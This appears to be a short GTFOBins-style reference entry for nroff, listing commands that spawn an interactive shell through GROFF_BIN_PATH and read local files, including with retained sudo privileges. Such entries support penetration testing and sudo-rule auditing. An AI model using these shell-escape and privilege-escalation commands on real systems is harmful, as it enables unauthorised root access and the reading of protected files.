Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    echo /bin/sh >groff
    chmod +x groff
    GROFF_BIN_PATH=. nroff
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo /bin/sh >groff
    chmod +x groff
    GROFF_BIN_PATH=. nroff

File read

This executable can read data from local files.
  1. CommentThe file is typeset and some warning messages may appear.
    This function can be performed by any unprivileged user.
    nroff /path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    nroff /path/to/input-file
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.